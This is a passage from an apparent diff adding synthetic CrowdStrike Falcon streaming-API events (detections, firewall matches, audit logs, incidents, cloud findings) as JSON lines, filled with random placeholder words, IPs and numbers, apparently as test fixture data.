false,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": 1705387416,"PatternId": -1283889121,"PlatformId": "finearmy","PlatformName": "Linux","ProcessEndTime": 1356812483,"ProcessId": -961436773,"ProcessStartTime": 1766752750,"ReferrerUrl": "over therepride","SHA1String": "thislamb","SHA256String": "theremodel","Severity": 82,"SeverityName": "Medium","SourceProducts": "whereclarity","SourceVendors": "theredoor","Tactic": "wheredeceit","Technique": "wheremurder","Type": "ofp","UserName": "easypencil"}}
+{"metadata": {"customerIDString": "Danishsmoke","offset": 379838381,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "howquiver","Region": "us-west-2","ResourceId": "over therecrew","ResourceIdType": "encouragingrespect","ResourceName": "whathedge","ResourceCreateTime": 0,"PolicyStatement": "eachnumber","PolicyId": 842027273,"Severity": 2,"SeverityName": "Informational","CloudPlatform": "whereapple","CloudService": "whichmethod","Disposition": "Passed","ResourceUrl": "heavilystack","Finding": "theircountry","Tags": [{"Key": "numerouscup","ValueString": "whoseworld"}],"ReportUrl": "whichband","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "thisboard","offset": -622221851,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "itsmurder","State": "closed","FineScore": 9.592546629752567,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "whycrime","HostID": "somegroup","LMHostIDs": ["hisdream"],"UserId": "hisman"}}
+{"metadata": {"customerIDString": "thoseelegance","offset": 1753228333,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "confusingfact","UserIp": "76.50.69.239","OperationName": "grantUserRoles","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Middle Easterncouch","ValueString": "howstand"}],"Attributes": {"actor_cid": "yourstack","actor_user": "ouralbum","actor_user_uuid": "whatboard","app_id": "lightman","saml_assertion": "whichsnow","target_user": "manyegg","trace_id": "thatfashion"}}}
+{"metadata": {"customerIDString": "Taiwanesestress","offset": -894626906,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "howquality","State": "open","FineScore": 9.422367116453389,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "whereaddress","HostID": "fulllife","LMHostIDs": ["wheremustering"],"UserId": "allcackle"}}
+{"metadata": {"customerIDString": "everybodymedicine","offset": -1102540758,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thankfulstaff","PolicyId": -1512746364,"PolicyStatement": "whatflock","CloudProvider": "yourlove","CloudService": "thatphilosophy","Severity": 14,"SeverityName": "Informational","EventAction": "eachregiment","EventSource": "Romanenvy","EventCreatedTimestamp": 1663011160,"UserId": "herlitter","UserName": "whatpack","UserSourceIp": "60.82.204.252","Tactic": "thisgarlic","Technique": "fulltroop"}}
+{"metadata": {"customerIDString": "someyouth","offset": -2033259274,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "fewleap","DetectName": "whatmilk","DetectDescription": "mob heat weight music class mustering place elegance boy lawn tribe whycinema","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everythinggroup?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 29,"SeverityName": "Critical","Tactic": "quaintschool","Technique": "anyfire","Objective": "wheregrade","SourceAccountDomain": "thosebevy","SourceAccountName": "importantarmy","SourceAccountObjectSid": "whatwisp","SourceEndpointAccountObjectGuid": "doublefact","SourceEndpointAccountObjectSid": "someonedynasty","SourceEndpointHostName": "thankfulregiment","SourceEndpointIpAddress": "83.236.99.131","SourceEndpointSensorId": "hispaper","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "itsheap","PatternId": 401598498}}
+{"metadata": {"customerIDString": "singlegroup","offset": 457189614,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Atlanteanchair","UserIp": "90.7.226.232","OperationName": "twoFactorAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Mexicangenetics","ValueString": "manycrowd"}],"Attributes": {"actor_cid": "everythingpage","actor_user": "Shakespeareanliter","actor_user_uuid": "someonenest","app_id": "enough ofbulb","saml_assertion": "Guyanesecongregation","target_user": "therespoon","trace_id": "whereparty"}}}
+{"metadata": {"customerIDString": "thatchest","offset": -83040473,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whichminute","Region": "us-west-2","ResourceId": "lemonycatalog","ResourceIdType": "whosesugar","ResourceName": "someboard","ResourceCreateTime": 0,"PolicyStatement": "hercalm","PolicyId": -1357156405,"Severity": 98,"SeverityName": "Critical","CloudPlatform": "upsetbelief","CloudService": "thesecard","Disposition": "Failed","ResourceUrl": "myboots","Finding": "sleepytransportation","Tags": [{"Key": "somegroup","ValueString": "Putinistarchipelago"}],"ReportUrl": "everyonelife","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "Asianbook","offset": -1347483999,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "Vietnameseclass","DataDomains": "Network","Description": "cash case exaltation regiment number labour whosework","DetectId": "over theremob","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "40.219.117.254","HostNames": "thatsedge","Name": "lightwolf","PatternId": -698872318,"Severity": 50,"SourceProducts": "yourgroup","SourceVendors": "fewcollege","StartTimeEpoch": 1643317697728000000,"TacticIds": "hercompany","Tactics": "herparty","TechniqueIds": "hispacket","Techniques": "onegroup","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "kindflock","offset": -302292875,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 451077962,"ProcessEndTime": 1553265477,"ProcessId": -1077533325,"ParentProcessId": -435178253,"ComputerName": "whatsorrow","UserName": "enoughinvention","DetectName": "whoseparty","DetectDescription": "team bra ream beauty mustering stairs sedge pair troop magic Lincolnianenergy","Severity": 2,"SeverityName": "Informational","FileName": "disgustingtroop","FilePath": "nobodynest\\disgustingtroop","CommandLine": "C:\\Windows\\hercooker","SHA256String": "lightworld","MD5String": "anygroup","SHA1String": "wherepound","MachineDomain": "theremachine","NetworkAccesses": [{"AccessType": 1612708288,"AccessTimestamp": 1751371565,"Protocol": "heresedge","LocalAddress": "125.50.133.172","LocalPort": 48347,"RemoteAddress": "234.221.131.4","RemotePort": 67690,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/theirday?_cid=xxxxxxx","SensorId": "severalsilence","IOCType": "command_line","IOCValue": "thatpart","DetectId": "Peruviannewspaper","LocalIP": "54.205.111.170","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "enthusiasticbrilliance","Technique": "angryeye","Objective": "lots ofdetermination","PatternDispositionDescription": "mob bevy choir team club over thereyouth","PatternDispositionValue": 1285889820,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "thisstack","ParentCommandLine": "youngcompany","GrandparentImageFileName": "Japaneseparty","GrandparentCommandLine": "anyproduct","HostGroups": "whypart","AssociatedFile": "hereteam","PatternId": -659788280}}
+{"metadata": {"customerIDString": "everyoneclass","offset": -213834920,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thathorde","CustomerId": "itscat","Ipv": "103.246.185.64","CommandLine": "Malagasyhand","ConnectionDirection": "0","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": false,"Log": true,"Monitor": false},"HostName": "eachfiction","ICMPCode": "yourstand","ICMPType": "Romaniancase","ImageFileName": "Koreanmicroscope","LocalAddress": "22.146.39.132","LocalPort": "67700","MatchCount": -508454298,"MatchCountSinceLastReport": -312004399,"NetworkProfile": "whichlife","PID": "-919470743","PolicyName": "thesecompany","PolicyID": "itpleasure","Protocol": "anyonebody","RemoteAddress": "94.122.29.16","RemotePort": "81503","RuleAction": "Kazakhsocks","RuleDescription": "class government number catalog bowl trust place sleep sorrow troop pod pound bitterness man orchard corruption innocence congregation number nest trip attractivephilosophy","RuleFamilyID": "sufficientwork","RuleGroupName": "whichteam","RuleName": "yourcandy","RuleId": "whatweather","Status": "notiming","Timestamp": 1751371830,"TreeID": "Indonesianhorde"}}
+{"metadata": {"customerIDString": "Englishstack","offset": -775443396,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Newtonianwaist","State": "open","FineScore": 3.177785166715833,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "Germanmilk","HostID": "gracefulband","LMHostIDs": ["outstandingjuicer"],"UserId": "hereapartment"}}
+{"metadata": {"customerIDString": "thosenose","offset": 1354823612,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anytrip","UserIp": "236.153.26.40","OperationName": "selfAcceptEula","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whosekilometer","ValueString": "yourhail"}],"Attributes": {"actor_cid": "realisticream","actor_user": "a littletravel","actor_user_uuid": "Congolesehail","app_id": "thoseplace","saml_assertion": "enviouspod","target_user": "tenseanimal","trace_id": "Bismarckianphysician"}}}
+{"metadata": {"customerIDString": "theseheat","offset": 682319047,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "precioustax","State": "closed","FineScore": 1.5815182043193163,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "whichblock","HostID": "kindmonth","LMHostIDs": ["yourdynasty"],"UserId": "gloriousbread"}}
+{"metadata": {"customerIDString": "fullstaff","offset": -920849482,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "agreeablesafety","Highlights": ["whattrench coat"],"MatchedTimestamp": 1686889114000,"RuleId": "herplant","RuleName": "allforest","RuleTopic": "severalcovey","RulePriority": "oddkindness","ItemId": "whathouse","ItemType": "CS","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "theredress","offset": -1395234477,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "puzzledcar","IncidentDescription": "brilliance muster sand time person forest cousin choir magic bill problem hand gun world wad regiment scold aircraft life turkey happypleasure","Severity": 96,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Italiangrowth","UserName": "wittystreet","EndpointName": "whatcast","EndpointIp": "128.91.6.97","Category": "Detections","NumbersOfAlerts": 1245327959,"NumberOfCompromisedEntities": 111189281,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anyway?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "whichstring","offset": -1230847851,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Burkinesecash","Region": "us-west-2","ResourceId": "yourelegance","ResourceIdType": "greatbunch","ResourceName": "energeticchild","ResourceCreateTime": 0,"PolicyStatement": "anyball","PolicyId": 390863095,"Severity": 84,"SeverityName": "Informational","CloudPlatform": "comfortablestupidity","CloudService": "Russianpack","Disposition": "Passed","ResourceUrl": "itsfailure","Finding": "thatbale","Tags": [{"Key": "muddybaby","ValueString": "toomoonlight"}],"ReportUrl": "herecrest","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "whatcard","offset": -365279171,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1651264407,"ProcessEndTime": 1505862329,"ProcessId": 1321630708,"ParentProcessId": 1017992042,"ComputerName": "theirears","UserName": "yourstreet","DetectName": "over therecompany","DetectDescription": "body cast riches man joy case article pain pair wisdom hand time horde holiday class everyonegroup","Severity": 5,"SeverityName": "High","FileName": "a little bitdriver","FilePath": "spottedrange\\a little bitdriver","CommandLine": "C:\\Windows\\yourfame","SHA256String": "nobodytroop","MD5String": "hugething","SHA1String": "Guyaneseman","MachineDomain": "everythingvilla","NetworkAccesses": [{"AccessType": -708407607,"AccessTimestamp": 1751371565,"Protocol": "whatchoir","LocalAddress": "219.20.115.119","LocalPort": 19584,"RemoteAddress": "0.153.174.27","RemotePort": 50301,"ConnectionDirection": 0,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/supergrowth?_cid=xxxxxxx","SensorId": "wheredog","IOCType": "registry_key","IOCValue": "anythingcackle","DetectId": "theirwoman","LocalIP": "16.136.203.173","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "everythingwalk","Technique": "hishost","Objective": "abundantstadium","PatternDispositionDescription": "pack cloud lips tail lack poverty team eye person problem spoon office guest party leap party quantity thatbread","PatternDispositionValue": -1079078772,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "nervouskoala","ParentCommandLine": "itplace","GrandparentImageFileName": "herwall","GrandparentCommandLine": "annoyingalbum","HostGroups": "itblazer","AssociatedFile": "Welshmob","PatternId": -629830209}}
+{"metadata": {"customerIDString": "Congolesecast","offset": -995742918,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "singleforest","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\whosewood","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "foot gold problem child chair part economics kangaroo point sand point engine thereherbs","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thereelection?_cid=xxxxxxx","FileName": "sufficientwisp","FilePath": "thismarriage\\sufficientwisp","FilesAccessed": [{"FileName": "sufficientwisp","FilePath": "thismarriage\\sufficientwisp","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "sufficientwisp","FilePath": "thismarriage\\sufficientwisp","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\whatbasket","GrandParentImageFileName": "emptycase","GrandParentImageFilePath": "eachgroup\\emptycase","HostGroups": "gorgeousalbum","Hostname": "whyworld","LocalIP": "95.44.87.130","LocalIPv6": "239.244.185.158","LogonDomain": "wherelawyer","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "itsowl","Name": "lots ofsedge","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1089440136,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "244.38.205.206","LocalPort": 49082,"Protocol": "Burkinesehorse","RemoteAddress": "74.121.25.62","RemotePort": 10653}],"Objective": "anythinghat","ParentCommandLine": "C:\\Windows\\strangefilm\\Kazakhchoir","ParentImageFileName": "Kazakhchoir","ParentImageFilePath": "somebodyfiction\\Kazakhchoir","ParentProcessId": -434386359,"PatternDispositionDescription": "fact caravan crowd class year heart religion book jaw wad staff week hand Tibetanuncle","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": true,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": -803513788,"PatternId": -387791910,"PlatformId": "myfrailty","PlatformName": "Windows","ProcessEndTime": 449528859,"ProcessId": 110124735,"ProcessStartTime": -1407753202,"ReferrerUrl": "Honduranconfusion","SHA1String": "whichcompany","SHA256String": "thatregiment","Severity": 99,"SeverityName": "Critical","SourceProducts": "lazychild","SourceVendors": "muchhorror","Tactic": "uptightwoman","Technique": "heresedge","Type": "ldt","UserName": "ashamedthrill"}}
+{"metadata": {"customerIDString": "difficultvalley","offset": 2101272754,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "severalpool","CustomerId": "hisgang","Ipv": "189.147.225.84","CommandLine": "blackocean","ConnectionDirection": "2","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": false,"Monitor": true},"HostName": "Aristotelianmob","ICMPCode": "hereworld","ICMPType": "allmob","ImageFileName": "allbale","LocalAddress": "13.4.44.115","LocalPort": "25613","MatchCount": -1598198376,"MatchCountSinceLastReport": 641894820,"NetworkProfile": "unusualgrapes","PID": "223516280","PolicyName": "somepig","PolicyID": "yourgrandmother","Protocol": "somecluster","RemoteAddress": "251.233.178.116","RemotePort": "1144","RuleAction": "halfcontent","RuleDescription": "vase physician troupe point anthology truck time garage kettle thrill luck book company paper week tolerance everybodywater","RuleFamilyID": "whosekangaroo","RuleGroupName": "Romanchild","RuleName": "substantialmagic","RuleId": "Sammarineseeye","Status": "therethought","Timestamp": 1751371830,"TreeID": "somebodyschool"}}
+{"metadata": {"customerIDString": "onefoot","offset": 1731062168,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "herecalm","CustomerId": "whosereligion","Ipv": "128.116.89.207","CommandLine": "everyonedivorce","ConnectionDirection": "2","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": false},"HostName": "itslemon","ICMPCode": "anybundle","ICMPType": "manylung","ImageFileName": "littlerabbit","LocalAddress": "252.110.60.206","LocalPort": "37774","MatchCount": 899007412,"MatchCountSinceLastReport": -1204268395,"NetworkProfile": "Koreanway","PID": "744586950","PolicyName": "nonesugar","PolicyID": "Victorianfox","Protocol": "uptightscold","RemoteAddress": "79.225.9.41","RemotePort": "88811","RuleAction": "howman","RuleDescription": "clarity mustering task engine posse stack gas station congregation stairs covey woman host range galaxy gang army thing yourrestaurant","RuleFamilyID": "uglywork","RuleGroupName": "repellingteam","RuleName": "a little bitleap","RuleId": "fewgeneration","Status": "wholeslavery","Timestamp": 1751371830,"TreeID": "finecaravan"}}
+{"metadata": {"customerIDString": "thoughtfulcompany","offset": -1919265590,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "theirdolphin","UserID": "Finnishregiment","ExecutionID": "Laotiancast","ReportID": "theirbread","ReportName": "over thereart","ReportType": "thatengine","ReportFileReference": "Frenchhorse","Status": "itday","StatusMessage": "whosesedge","ExecutionMetadata": {"ExecutionStart": -916885740,"ExecutionDuration": 1326168034,"ReportFileName": "hisglasses","ResultCount": 864471789,"ResultID": "Middle Easternrhythm","SearchWindowStart": 2133009784,"SearchWindowEnd": 1995106451}}}
+{"metadata": {"customerIDString": "whatclump","offset": 1831488623,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whytown","Region": "us-east-1","ResourceId": "yourholiday","ResourceIdType": "herewelfare","ResourceName": "histroupe","ResourceCreateTime": 0,"PolicyStatement": "thistruth","PolicyId": -1908197964,"Severity": 14,"SeverityName": "Informational","CloudPlatform": "thankfulwit","CloudService": "yourcompany","Disposition": "Failed","ResourceUrl": "crowdedpouch","Finding": "whosequiver","Tags": [{"Key": "a little bitbottle","ValueString": "itswoman"}],"ReportUrl": "whatcomb","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "everynap","offset": 757485648,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "redlighter","DataDomains": "Cloud","Description": "shower enoughbrass","DetectId": "grievingtroupe","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "176.232.137.88","HostNames": "manyposse","Name": "eachperson","PatternId": 127645950,"Severity": 42,"SourceProducts": "dizzyingartist","SourceVendors": "somebodychoir","StartTimeEpoch": 1643317697728000000,"TacticIds": "eithergame","Tactics": "Egyptianvillage","TechniqueIds": "fewline","Techniques": "herharvest","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "yourson","offset": -1475686550,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Burkinesegold","UserIp": "82.104.176.236","OperationName": "updateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "realistickindness","ValueString": "emptybatch"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "littlenurse"}}}
+{"metadata": {"customerIDString": "confusingbunch","offset": 434583498,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "carefultent","UserIp": "104.15.74.170","OperationName": "userAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "sufficientpatrol","ValueString": "everybodydoor"}],"Attributes": {"actor_cid": "allwisp","actor_user": "homelessfreedom","actor_user_uuid": "clumsycase","app_id": "hundredsstairs","saml_assertion": "anythingstand","target_user": "lots ofdoor","trace_id": "allsedge"}}}
+{"metadata": {"customerIDString": "myhair","offset": -1648174413,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "whypronunciation","State": "closed","FineScore": 5.177857128490845,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "theirsedge","HostID": "thisball","LMHostIDs": ["Californianleap"],"UserId": "halfgold"}}
+{"metadata": {"customerIDString": "wherefact","offset": -720865589,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "hereexaltation","MobileDetectionId": -1982062954,"ComputerName": "whichgroup","UserName": "whateye","ContextTimeStamp": 1649061056,"DetectId": "theircorruption","DetectName": "howbale","DetectDescription": "sedge mirror television kilometer range a littlebed","Tactic": "Newtonianshopping","TacticId": "thesesnow","Technique": "itmile","TechniqueId": "whatscold","Objective": "whyclass","Severity": 8,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/somefork?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "ourperson","AndroidAppLabel": "whyman","DexFileHashes": "Guyanesecompany","ImageFileName": "thisshower","AppInstallerInformation": "whoseguest","IsBeingDebugged": true,"AndroidAppVersionName": "anyonestand","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "howbakery","offset": 1483297595,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "somemonkey","UserIp": "87.98.211.64","OperationName": "confirmResetPassword","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "thereluck","ValueString": "abundantdynasty"}],"Attributes": {"actor_cid": "herecollection","actor_user": "whosemotherhood","actor_user_uuid": "a littlewhale","app_id": "Mayanarmy","saml_assertion": "cuteparty","target_user": "itsleap","trace_id": "redpoint"}}}
+{"metadata": {"customerIDString": "Romanclump","offset": -2038715325,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "helpfulchurch","HostnameField": "wherebundle","UserName": "yourpigeon","StartTimestamp": 1582830734,"AgentIdString": "franticyoga"}}
+{"metadata": {"customerIDString": "myring","offset": 1367700305,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "fewtable","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\everyoneeducation","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Network","Description": "team failure library set wit air allcloud","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/therehail?_cid=xxxxxxx","FileName": "wherebrilliance","FilePath": "manywildlife\\wherebrilliance","FilesAccessed": [{"FileName": "wherebrilliance","FilePath": "manywildlife\\wherebrilliance","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "wherebrilliance","FilePath": "manywildlife\\wherebrilliance","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\wholeyear","GrandParentImageFileName": "wherepasta","GrandParentImageFilePath": "thereapartment\\wherepasta","HostGroups": "yournest","Hostname": "herbale","LocalIP": "12.115.224.47","LocalIPv6": "177.2.110.77","LogonDomain": "hisgain","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "nobodypoverty","Name": "whatbrace","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -280407180,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "225.204.92.130","LocalPort": 39481,"Protocol": "plaintea","RemoteAddress": "149.103.11.179","RemotePort": 80181}],"Objective": "thiskindness","ParentCommandLine": "C:\\Windows\\hereharm\\theircast","ParentImageFileName": "theircast","ParentImageFilePath": "relievedharvest\\theircast","ParentProcessId": 950210920,"PatternDispositionDescription": "litter life exaltation clump world bravery archipelago help dynasty staff importance anthology fan team calm information herbs stress woman wherenest","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": false,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": 931409291,"PatternId": -1833169404,"PlatformId": "Icelandictroupe","PlatformName": "Mac","ProcessEndTime": 508081790,"ProcessId": -1609210457,"ProcessStartTime": -825204379,"ReferrerUrl": "over therecluster","SHA1String": "everybodyexaltation","SHA256String": "uptightstand","Severity": 50,"SeverityName": "Informational","SourceProducts": "nonepacket","SourceVendors": "halfbrace","Tactic": "anythinghost","Technique": "whyclass","Type": "ldt","UserName": "friendlygift"}}
+{"metadata": {"customerIDString": "herework","offset": -219552527,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "everybodysoftware","UserID": "fulleye","ExecutionID": "thispatience","ReportID": "variedharvest","ReportName": "hisday","ReportType": "noneweekend","ReportFileReference": "itregiment","Status": "unusualweather","StatusMessage": "anyroom (space)","ExecutionMetadata": {"ExecutionStart": -1617323351,"ExecutionDuration": 978610360,"ReportFileName": "whatbook","ResultCount": 647481392,"ResultID": "gloriousmurder","SearchWindowStart": -877577983,"SearchWindowEnd": -1319125118}}}
+{"metadata": {"customerIDString": "Middle Easternblouse","offset": -516793127,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "cleverenthusiasm","MobileDetectionId": -340747654,"ComputerName": "Peruvianfilm","UserName": "hugealbum","ContextTimeStamp": 1649061056,"DetectId": "thisair","DetectName": "muchworld","DetectDescription": "publicity time brace company cast money Indianplane","Tactic": "shybattery","TacticId": "difficultjustice","Technique": "Gabonesebouquet","TechniqueId": "Turkishjourney","Objective": "sparsethought","Severity": 86,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/theirtroupe?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "howgold","AndroidAppLabel": "wholeheap","DexFileHashes": "nobodyhappiness","ImageFileName": "itcloud","AppInstallerInformation": "enoughleisure","IsBeingDebugged": false,"AndroidAppVersionName": "thoseworld","IsContainerized": true}]}}
